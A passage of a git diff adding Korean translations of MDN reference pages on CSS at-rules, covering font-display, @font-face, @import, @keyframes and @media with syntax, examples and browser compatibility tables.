+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'syndata.html#x57', '@charset') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.charset")}}</p>
diff --git a/files/ko/web/css/@font-face/font-display/index.html b/files/ko/web/css/@font-face/font-display/index.html
new file mode 100644
index 0000000000..20d334f95c
--- /dev/null
+++ b/files/ko/web/css/@font-face/font-display/index.html
@@ -0,0 +1,101 @@
+---
+title: font-display
+slug: Web/CSS/@font-face/font-display
+translation_of: Web/CSS/@font-face/font-display
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-display</code></strong> 설명자(descriptor)는 font face가 표시되는 방법을 결정합니다. 이는 다운로드 여부와 사용 시기에 따라 다릅니다.</p>
+
+<h2 id="The_font_display_timeline">The font display timeline</h2>
+
+<p>font display 시각표는 유저 에이전트가 지정된 다운로드 폰트를 사용하려는 순간 시작하는 타이머를 기반으로 합니다. 시각표는 아래의 세 가지 기간(period)으로 나뉘어져 font face를 사용하는 모든 요소(element)의 렌더링 동작을 나타냅니다.</p>
+
+<dl>
+ <dt>폰트 차단 기간</dt>
+ <dd>font face가 로드되지 않은 경우 font face를 사용하려는 요소는 <em>보이지 않는</em> 대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.</dd>
+ <dt>폰트 교체 기간</dt>
+ <dd>font face가 로드되지 않은 경우 font face를 사용하려는 요소는 (텍스트가 표시되는)대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.</dd>
+ <dt>폰트 실패 기간</dt>
+ <dd>font face가 로드되지 않은 경우 유저 에이전트는 로드 실패로 취급하고 정상적인 대체 폰트를 렌더링 합니다.</dd>
+</dl>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css; notranslate">/* Keyword values */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>font display 전략은 유저 에이전트에 의해 정의됩니다.</dd>
+ <dt><code>block</code></dt>
+ <dd>font face에 짧은 차단 기간과 무한대의 교체 기간을 부여합니다.</dd>
+ <dt><code>swap</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 무한대의 교체 기간을 부여합니다.</dd>
+ <dt><code>fallback</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 짧은 교체 기간을 부여합니다.</dd>
+ <dt><code>optional</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 교체 기간을 부여합니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css; highlight[7] notranslate">@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.font-face.font-display")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+ <li>{{cssxref("font-feature-settings", "font-feature-settings")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+</ul>
diff --git a/files/ko/web/css/@font-face/index.html b/files/ko/web/css/@font-face/index.html
new file mode 100644
index 0000000000..9ba2e223e6
--- /dev/null
+++ b/files/ko/web/css/@font-face/index.html
@@ -0,0 +1,216 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+translation_of: Web/CSS/@font-face
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="요약(Summary)">요약(Summary)</h2>
+
+<p><a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="At-rule">at-rule</a> 인 <code>@font-face</code> 를 사용하여 웹페이지의 텍스트에 온라인폰트(online fonts)를 적용할 수 있다. <code style="font-size: 14px;">@font-face</code> 를 사용하여 웹페이지 제작자가 원하는 폰트를 사용할 수 있게함으로써, 컴퓨터에 설치된 폰트만을 사용해야했던 제약이 없어지게되었다. <code>@font-face</code> at-rule 은 CSS의 top-level에서 뿐 아니라, <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a> 안에서도 사용될 수도 있다. </p>
+
+<p>{{ seeCompatTable() }}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<pre>@font-face {
+  font-family: &lt;a-remote-font-name&gt;;
+  src: &lt;source&gt; [,&lt;source&gt;]*;
+  [font-weight: &lt;weight&gt;];
+  [font-style: &lt;style&gt;];
+}
+</pre>
+
+<h3 id="속성값(Values)">속성값(Values)</h3>
+
+<dl>
+ <dt>&lt;a-remote-font-name&gt; </dt>
+ <dd>font 속성에서 폰트명(font face)으로 지정될 이름을 설정한다.</dd>
+ <dt>&lt;source&gt; </dt>
+ <dd>원격 폰트(remote font) 파일의 위치를 나타내는 URL 값을 지정하거나, 사용자 컴퓨터에 설치된 폰트명을 <code>local("Font Name")</code>형식으로 지정하는 속성이다.</dd>
+ <dt>&lt;weight&gt; </dt>
+ <dd><a class="internal" href="/en/CSS/font-weight" title="en/CSS/font-weight">폰트의 굵기(font weight)</a> 값.</dd>
+ <dt>&lt;style&gt; </dt>
+ <dd><a class="internal" href="/en/CSS/font-style" title="en/CSS/font-style">폰트 스타일(font style)</a> 값.</dd>
+</dl>
+
+<p>사용자의 로컬환경(local computer)에 설치된 폰트는 <code>local()</code> 이라는 구문을 사용하여 지정이 가능하다. 만약 해당 폰트를 찾지못한다면, 다른 대체 폰트를 찾을때까지 폰트를 검색작업을 계속 할 것이다.</p>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p>아래는 다운로드하여 사용가능한 폰트를 설정하는 간단한 예제이며, document의 전체 body 영역에 폰트가 적용된다.</p>
+
+<p><a class="internal" href="/@api/deki/files/2935/=webfont-sample.html" title="/@api/deki/files/2935/=webfont-sample.html">View live sample</a></p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Web Font Sample&lt;/title&gt;
+  &lt;style type="text/css" media="screen, print"&gt;
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is Bitstream Vera Serif Bold.
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>아래 예제에서는 로컬에 설치된 "Helvetica Neue Bold" 폰트가 사용된다. 만약 해당 폰트가 설치되어 있지 않다면(다른 2개의 폰트를 적용하기 위한 시도를 하고), 다운로드 가능한 "MgOpenModernaBold.ttf" 폰트가 대신 사용된다.</p>
+
+<pre class="brush: css">@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="주의사항(Notes)">주의사항(Notes)</h2>
+
+<ul>
+ <li>Gecko에서는, 동일 도메인 제한(same domain restriction)을 피하기 위해 <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">HTTP access controls</a> 을 사용하지 않는한, 웹폰트(web fonts)의 사용시에는  동일 도메인 제한이 적용된다(폰트 파일은 폰트가 사용되는 페이지와 동일한 도메인상에 존재해야 함).</li>
+ <li>
+  <div class="note"><strong>주의사항:</strong> TrueType, OpenType, Web Open File(WOFF) 폰트에 대한 MIME타입이 정의되지 않았기 때문에, 파일에 적용될 MIME 타입에 대해서는 고려하지 않아도 된다.</div>
+ </li>
+ <li>Gecko에서는 웹폰트(web font)가 사용된 페이지를 표시할 때는 웹폰트가 다운로드 되는 동안 사용자의 컴퓨터에 이미 설치되어 있어 즉시 사용가능한 폰트(CSS fallback font)를 사용하여 텍스트를 표시한다. 각각의 웹폰트의 다운로드가 완료되면 Gecko는 해당 텍스트의 폰트를 교체한다. 이러한 과정은 사용자가 웹페이지 내의 텍스트를 좀 더 빨리 읽게끔 도와준다.</li>
+</ul>
+
+<h2 id="Notes" name="Notes">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WOFF1.0', '', 'WOFF font format') }}</td>
+   <td>{{ Spec2('WOFF1.0') }}</td>
+   <td>Font format specification</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Fonts', '#font-face-rule', '@font-face') }}</td>
+   <td>{{ Spec2('CSS3 Fonts') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성(Browser_compatibility)">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>10.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><a href="/en/WOFF" title="en/About_WOFF">WOFF</a></td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>6.0</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>SVG Font</td>
+   <td>{{ CompatNo() }}<br>
+    {{ unimplemented_inline(119490) }}</td>
+   <td>yes</td>
+   <td>{{ CompatNo() }}</td>
+   <td>yes</td>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>WOFF</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>SVG fonts</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}<br>
+    {{ unimplemented_inline(119490) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="주의사항(Notes)_2">주의사항(Notes)</h3>
+
+<ul>
+ <li>Embedded OpenType 폰트는 특허가 적용되기 때문에, 호환성 테이블(compatibility table)에 포함되어 있지 않다. IE 9.0 이전의 브라우저에서, IE는 이 포맷(format)만을 지원했었다.</li>
+ <li>TrueType 과 OpenType 는 WOFF로 교체되어 포함되지 않았다.</li>
+</ul>
+
+<h2 id="참고자료(See_also)">참고자료(See also)</h2>
+
+<dl>
+</dl>
+
+<ul>
+ <li><a href="/en/WOFF" title="en/About WOFF">About WOFF</a></li>
+ <li><a class="external" href="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face</a></li>
+ <li><a class="external" href="http://openfontlibrary.org/" title="http://openfontlibrary.org/">Open Font Library</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">Microsoft Developer Network (MSDN) @font-face reference</a></li>
+ <li><a class="external" href="http://caniuse.com/woff">When can I use WOFF?</a></li>
+ <li><a class="external" href="http://caniuse.com/svg-fonts">When can I use SVG Fonts?</a></li>
+</ul>
diff --git a/files/ko/web/css/@import/index.html b/files/ko/web/css/@import/index.html
new file mode 100644
index 0000000000..a4648971ae
--- /dev/null
+++ b/files/ko/web/css/@import/index.html
@@ -0,0 +1,83 @@
+---
+title: '@import'
+slug: Web/CSS/@import
+tags:
+  - At-rule
+  - CSS
+  - Reference
+translation_of: Web/CSS/@import
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@import</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>은 다른 스타일 시트에서 스타일 규칙을 가져올 때 쓰입니다.</span> 이 규칙은 {{cssxref("@charset")}} 규칙을 제외하고 모든 다른 종류의 규칙보다 선행해야 합니다. <code>@import</code>는 <a href="/ko/docs/Web/CSS/Syntax#nested_statements" title="nested statement">중첩 명령문</a>이 아니기 때문에 <a href="/ko/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="conditional group at-rules">조건부 그룹 @규칙</a> 내에 사용할 수 없습니다.</p>
+
+<pre class="brush: css">@import url("fineprint.css") print;
+@import url("bluish.css") speech;
+@import 'custom.css';
+@import url("chrome://communicator/skin/");
+@import "common.css" screen;
+@import url('landscape.css') screen and (orientation:landscape);
+</pre>
+
+<p>사용자 에이전트는 지원되지 않는 미디어 유형에 대한 자원 검색을 피할 수 있도록, 제작자는 미디어에 의존한 <code>@import</code> 규칙을 지정할 수 있습니다. 이러한 조건부 import는 URI 뒤에 쉼표로 구분된 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries" title="media queries">미디어 질의</a>를 지정합니다. 미디어 질의가 없으면, import는 무조건(unconditional)입니다. 미디어에 <code>all</code>을 지정하면 같은 효과가 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">@import <em>url</em>;
+@import <em>url</em> <em>list-of-media-queries</em>;
+</pre>
+
+<p>where:</p>
+
+<dl>
+ <dt><code><em>url</em></code></dt>
+ <dd>import할 자원의 위치를 나타내는 {{cssxref("&lt;string&gt;")}} 또는 {{cssxref("&lt;uri&gt;")}}입니다. URL은 절대 또는 상대일 수 있습니다. URL은 실제로 파일에 지정할 필요는 없음을 주의하세요; 그냥 패키지 명 및 일부를 지정할 수 있으며 적절한 파일이 자동으로 선택됩니다(가령 <strong>chrome://communicator/skin/</strong>). 자세한 내용은 <a href="/ko/docs/XUL_Tutorial/The_Chrome_URL">여기를 참조</a>.</dd>
+ <dt><code><em>list-of-media-queries</em></code></dt>
+ <dd>링크된 URL 내에 정의된 CSS 규칙의 적용을 조절하는 쉼표 구분된 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries" title="media queries">미디어 질의</a> 목록입니다. 브라우저가 이러한 질의를 지원하지 않으면, 링크된 자원을 로드하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@import')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Extended the syntax to support any media query and not only simple <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Added support for {{cssxref("&lt;string&gt;")}} to denote the url of a stylesheet,<br>
+    and requirement to insert the <code>@import</code> rule at the beginning of the CSS document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-cascade', '@import')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.import")}}</p>
diff --git a/files/ko/web/css/@keyframes/index.html b/files/ko/web/css/@keyframes/index.html
new file mode 100644
index 0000000000..dbdfd67d92
--- /dev/null
+++ b/files/ko/web/css/@keyframes/index.html
@@ -0,0 +1,152 @@
+---
+title: '@keyframes'
+slug: Web/CSS/@keyframes
+tags:
+  - Animations
+  - At-rule
+  - CSS
+  - Reference
+translation_of: Web/CSS/@keyframes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>@keyframes</code></strong> <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>은 개발자가 애니메이션 중간중간의 특정 지점들을 거칠 수 있는 키프레임들을 설정함으로써 CSS 애니메이션 과정의 중간 절차를 제어할 수 있게 합니다. 이 룰은 브라우저가 자동으로 애니메이션을 처리하는 것 보다 더 세밀하게 중간 동작들을 제어할 수 있습니다.</p>
+
+<p> </p>
+
+<pre class="brush: css">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<p><code>@keyframes</code> @규칙은 CSS 오브젝트 모델 인터페이스인 {{domxref("CSSKeyframesRule")}}를 통해서 접근합니다.</p>
+
+<p>키프레임을 사용하려면 <code>@keyframes</code> 룰을 애니메이션과 키프레임 리스트를 매칭시킬 {{ cssxref("animation-name") }} 속성에서 사용할 이름과 함께 생성합니다. 각 <code>@keyframes</code> 룰은 키프레임 선택자의 스타일 리스트를 포함하고 있고, 각 리스트는 각 키프레임이 생성되고 키프레임의 스타일 정보를 포함하고 있는 지점에서 사용할 %로 구성됩니다.</p>
+
+<p>키프레임은 순서대로 나열 가능합니다. 지정된 %의 순서대로 처리됩니다.</p>
+
+<h3 id="유효한_키프레임_리스트">유효한 키프레임 리스트</h3>
+
+<p>키 프레임 리스트가 유효하려면 최소한 0% 와 100% 같은 시간에 대한 규칙은 포함해야 합니다 (%가 의미하는 것은 애니메이션의 시작과 끝 상태를 의미). 만약 이 타임 오프셋이 정해져 있지 않으면, 키 프레임 선언이 무효합니다; 파서가 인식하지 않거나 애니메이션에서 사용되지 않습니다.</p>
+
+<p>만약 키 프레임 룰에 애니메이션이 되지 않는 속성을 포함하면 이 속성은 무시가 됩니다. 애니메이션을 지원하는 속성들은 여전히 애니메이션이 됩니다.</p>
+
+<h3 id="중복_해상도">중복 해상도</h3>
+
+<p>만약 한개의 이름에 대해서 여러개의 키프레임 셋이 존재하면, 파서가 마지막으로 마주치는 키프레임 셋만 유효합니다. <code>@keyframes 룰은 연속되지 않기 때문에 한개의 룰 셋 이상을 적용하지 않습니다.</code></p>
+
+<h3 id="키_프레임_밖에_속성이_지정된_경우">키 프레임 밖에 속성이 지정된 경우</h3>
+
+<p>어떤 키 프레임에도 정의되지 않는 속성들은 애니메이션과는 완전 별도로 삽입되지 않는 경우를 제외하고는 삽입됩니다. 예를 들어,</p>
+
+<pre class="brush: css">@keyframes identifier {
+  0% { top: 0; left: 0; }
+  30% { top: 50px; }
+  68%, 72% { left: 50px; }
+  100% { top: 100px; left: 100%; }
+}
+</pre>
+
+<p>여기 {{ cssxref("top") }} 속성은 <code>0%</code>, <code>30%</code>, <code>100% 키 프레임을 이용하여 애니메이션 됩니다. </code>{{ cssxref("left") }} 속성은 <code>0%</code>, <code>68%</code>, <code>100% 키 프레임을 사용합니다.</code></p>
+
+<p><code>0%</code> 와 <code>100%</code> 키 프레임 모두에 정의된 속성들만 애니메이션 동작을 합니다. 이 둘 중 아무것도 포함되지 않은 속성은 애니메이션 연속을 지속하기 위한 시작 값으로 사용됩니다.</p>
+
+<h3 id="키_프레임이_여러번_정의_된_경우">키 프레임이 여러번 정의 된 경우</h3>
+
+<p>스펙에서는 모든 속성이 각 키 프레임이 지정된 게 아니라 키 프레임이 여러번 정의 된 경우에는 가장 최근의 키프레임에 선언된 값들만 유효하다고 나와 있습니다. 예를 들어,</p>
+
+<pre class="brush: css">@keyframes identifier {
+  0% { top: 0; }
+  50% { top: 30px; left: 20px; }
+  50% { top: 10px; }
+  100% { top: 0; }
+}
+</pre>
+
+<p>이 예제를 보면 <code>50%</code> 키프레임에서 <code>top: 10px 이고 다른 값들은 모두 무시됩니다.</code></p>
+
+<p>{{ non-standard_inline }} {{ fx_minversion_inline("14") }} 키 프레임 효과 연속은 파이어폭스 14부터 지원됩니다. 이 의미는 위 예제의 경우 50% 키 프레임에서 왼쪽 : 20px 값이 고려된다는 의미입니다. 이러한 기능이 스펙에는 아직 정의가 되어있진 않지만, 현재 도입에 대한 토론이 진행 중입니다.</p>
+
+<h3 id="키프레임에서_!important">키프레임에서 !important</h3>
+
+<p><code>키프레임에서 !important</code> 속성을 이용한 정의는 모두 무시됩니다.</p>
+
+<pre class="brush: css">@keyframes important1 {
+   from { margin-top: 50px; }
+   50%   { margin-top: 150px !important; } /* ignored */
+   to     { margin-top: 100px; }
+}
+
+@keyframes important2 {
+  from { margin-top: 50px;
+                 margin-bottom: 100px; }
+   to     { margin-top: 150px !important; /* ignored */
+                 margin-bottom: 50px; }
+}
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;identifier&gt;</code></dt>
+ <dd>A name identifying the keyframe list. This must match the identifier production in CSS syntax.</dd>
+ <dt><code>from</code></dt>
+ <dd>A starting offset of <code>0%</code>.</dd>
+ <dt><code>to</code></dt>
+ <dd>An ending offset of <code>100%</code>.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>A percentage of the time through the animation sequence at which the specified keyframe should occur.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS animations</a> for examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#keyframes', '@keyframes') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{Compat("css.at-rules.keyframes")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ol>
+ <li>@keyframes not supported in an inline or scoped stylesheet in Firefox ({{bug(830056)}}).</li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>{{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/ko/web/css/@media/index.html b/files/ko/web/css/@media/index.html
new file mode 100644
index 0000000000..6c06996035
--- /dev/null
+++ b/files/ko/web/css/@media/index.html
@@ -0,0 +1,153 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+tags:
+  - '@media'
+  - At-rule
+  - CSS
+  - Reference
+  - 미디어 쿼리
+translation_of: Web/CSS/@media
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@media</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="at-rule">@규칙</a>은 스타일 시트의 일부를 하나 이상의 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a> 결과에 따라 적용할 때 사용할 수 있습니다.</span> <code>@media</code>를 사용해 미디어 쿼리를 지정하면 해당 쿼리를 만족하는 장치에서만 CSS 블록을 적용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> JavaScript에서는 <code>@media</code>를 {{domxref("CSSMediaRule")}} CSS 객체 모델 인터페이스로 접근할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>@media</code> @규칙은 최상위 코드나, 아무 <a href="/ko/docs/Web/CSS/At-rule#조건부_그룹_규칙">조건부 그룹 @규칙</a> 안에 중첩해 작성할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">/* 최상위 코드 레벨 */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* 다른 조건부 @규칙 내에 중첩 */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}
+</pre>
+
+<p>미디어 쿼리 구문에 관한 내용은 <a href="/ko/docs/Web/Guide/CSS/Media_queries#구문">미디어 쿼리 사용하기</a> 문서를 참고하세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>글씨 크기를 조절한 사용자를 위해서, 미디어 쿼리의 {{cssxref("&lt;length&gt;")}} 자리에는 <code><a href="/ko/docs/Web/CSS/length#em">em</a></code>을 사용하는게 좋습니다.</p>
+
+<p><code>em</code>과 <code><a href="/ko/docs/Web/CSS/length#px">px</a></code> 모두 유효한 단위지만, 사용자가 브라우저의 글씨 크기를 변경했다면 <code>em</code>이 더 자연스럽게 동작합니다.</p>
+
+<p>Level 4 미디어 쿼리를 통한 사용자 경험 향상도 고려해보세요. 예컨대 <code>prefers-reduced-motion</code> 쿼리를 사용하면 <a href="/ko/docs/Web/CSS/@media/prefers-reduced-motion">사용자가 시스템에 애니메이션을 최소로 줄여달라고 요청했는지 알 수 있습니다</a>.</p>
+
+<h2 id="Examples" name="Examples">보안</h2>
+
+<p>미디어 쿼리는 사용자의 장치와 더 나아가 기능과 디자인에 대한 통찰을 제공하므로, "핑거프린팅"을 통해 장치 고유 식별자로 활용하거나, 그보단 덜 해도 사용자가 원하지 않을 수준의 분류를 하기 위해 오용할 가능성이 있습니다.</p>
+
+<p>그러므로 브라우저는 기기의 특정을 방지하기 위해 일부 반환 값을 모호하게 할 수 있습니다. 또한 사용자에게 추가 설정을 제공할 수도 있는데, 예를 들어 Firefox의 "핑거프린터 차단" 기능을 활성화하면 많은 수의 미디어 쿼리는 실제 장치 상태 대신 기본 값을 보고하게 됩니다.</p>
+
+<h2 id="Examples" name="Examples">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="출력과_화면_미디어_타입_판별">출력과 화면 미디어 타입 판별</h3>
+
+<pre class="brush: css notranslate">@media print {
+  body { font-size: 10pt; }
+}
+
+@media screen {
+  body { font-size: 13px; }
+}
+
+@media screen, print {
+  body { line-height: 1.2; }
+}
+
+@media only screen
+  and (min-width: 320px)
+  and (max-width: 480px)
+  and (resolution: 150dpi) {
+    body { line-height: 1.4; }
+}</pre>
+
+<p>Media Queries Level 4부터는 새로운 범위 표현 구문을 사용해 더 간결한 미디어 쿼리를 작성할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (height &gt; 600px) {
+    body { line-height: 1.4; }
+}
+
+@media (400px &lt;= width &lt;= 700px) {
+    body { line-height: 1.4; }
+}</pre>
+
+<p>더 많은 예제는 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
